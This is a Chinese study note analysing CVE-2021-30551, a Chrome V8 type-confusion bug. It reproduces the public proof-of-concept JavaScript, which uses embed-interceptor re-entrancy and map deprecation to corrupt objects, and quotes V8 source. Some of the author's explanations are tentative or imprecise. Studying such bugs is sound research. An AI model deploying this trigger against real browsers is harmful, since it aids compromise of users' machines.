总共看了2天的POC,为了不让成果流失,记录一下。
Chrome 在野0day:CVE-2021-30551的分析与利用 (qq.com) 主要参考
https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2021/CVE-2021-30551.html 次要参考
关于原型污染漏洞的完整指南 (qq.com) 原型链参考
V8 是怎么跑起来的 —— V8 中的对象表示_ThornWu-CSDN博客 V8 属性对象
浏览器是如何工作的:Chrome V8让你更懂JavaScript - 知乎 (zhihu.com) 理解 Chrome 中的 map
CVE-2020-16009: Chrome Turbofan Type Confusion after Map Deprecation | 0-days In-the-Wild (googleprojectzero.github.io) Type Confusion
首先需要了解一下 map 和object 的关系:
Object 中的 All own properties 存储着属性值,map 中存储着属性的状态、描述等。
global_object = {}; setPropertyViaEmbed = (object, value, handler) => { const embed = document.createElement('embed'); embed.onload = handler; embed.type = 'text/html'; Object.setPrototypeOf(global_object, embed); document.body.appendChild(embed); object.corrupted_prop = value; embed.remove(); } createCorruptedPair = (value_1, value_2) => { const object_1 = { __proto__: global_object }; object_1.regular_prop = 1; setPropertyViaEmbed(object_1, value_2, () => { Object.setPrototypeOf(global_object, null); object_1.corrupted_prop = value_1; }); const object_2 = { __proto__: global_object }; object_2.regular_prop = 1; setPropertyViaEmbed(object_2, value_2, () => { Object.setPrototypeOf(global_object, null); object_2.corrupted_prop = value_1; //在重入的过程中创建刚才不存在的命名属性 object_1.regular_prop = 1.1 //设置 map 为 deprecated }); return [object_1, object_2];
const array = [1.1]; array.prop = 1; const [object_1, object_2] = createCorruptedPair(array, 2261620.509803918); jit = (object) => { return object.corrupted_prop[0]; } for (var i = 0; i < 100000; ++i) jit(object_1); jit(object_2);
首先,针对函数的形式需要理解,POC 中的函数声明方式是箭头函数。(注:JS 中一切都是对象)
FunctionName = (Arg1, Arg2) => { xxxxx } // 针对多个参数的函数声明、定义方式
()=> { xxxxxxxxx } // 无参数的 ,匿名函数
接着拆解 POC 进行理解,首先是对变量进行初始化:
注意 POC 最开头的 global_object ,此处的花括号表明创建了一个空的对象。
然后申请了一个数组,其中只有一个元素,值为 1.1 。接着将 array 的属性设置为 1。
接着调用 createCorruptedPair 函数:
该函数的参数为 array 和 一个特制的浮点数。
const object_1 = { __proto__: global_object }; // 申明并定义了一个对象,该对象的原型是 global_object == NULL
接着访问 object_1 的一个未知的属性名(未定义过的),并将其设置为 1。
如果目标对象没有这个未知的属性名,那么会调用 SetPropertyInternal 遍历这个对象的原型链,如果能找到一个拦截器(interceptor),就会执行这个拦截器的函数来决定这个是否是一个“只读属性”的异常。此处的 SetPropertyInternal 会返回这个属性不存在,然后会调用 AddDataProperty 函数来创建属性。但是若在创建属性之前已存在同名的该属性,且此时的 map 为 deprecated 状态(map 是存储 v8 中对象的描述命名属性),那么只会更新属性的状态而不会去修改 map 的描述符(猜测是将状态从消极转为活跃)
Maybe<bool> Object::SetProperty(LookupIterator* it, Handle<Object> value, StoreOrigin store_origin, Maybe<ShouldThrow> should_throw) { if (it->IsFound()) { bool found = true; Maybe<bool> result = SetPropertyInternal(it, value, should_throw, store_origin, &found); if (found) return result; } [...] return AddDataProperty(it, value, NONE, should_throw, store_origin); } Maybe<bool> Object::SetPropertyInternal(LookupIterator* it, Handle<Object> value, Maybe<ShouldThrow> should_throw, StoreOrigin store_origin, bool* found) { [...] do { switch (it->state()) { [...] case LookupIterator::INTERCEPTOR: { if (it->HolderIsReceiverOrHiddenPrototype()) { Maybe<bool> result = JSObject::SetPropertyWithInterceptor(it, should_throw, value); //调用户定义 JS 代码 if (result.IsNothing() || result.FromJust()) return result; } else { Maybe<PropertyAttributes> maybe_attributes = JSObject::GetPropertyAttributesWithInterceptor(it); if (maybe_attributes.IsNothing()) return Nothing<bool>(); if ((maybe_attributes.FromJust() & READ_ONLY) != 0) { return WriteToReadOnlyProperty(it, value, should_throw); } if (maybe_attributes.FromJust() == ABSENT) break; *found = false; return Nothing<bool>(); } break; } [...] *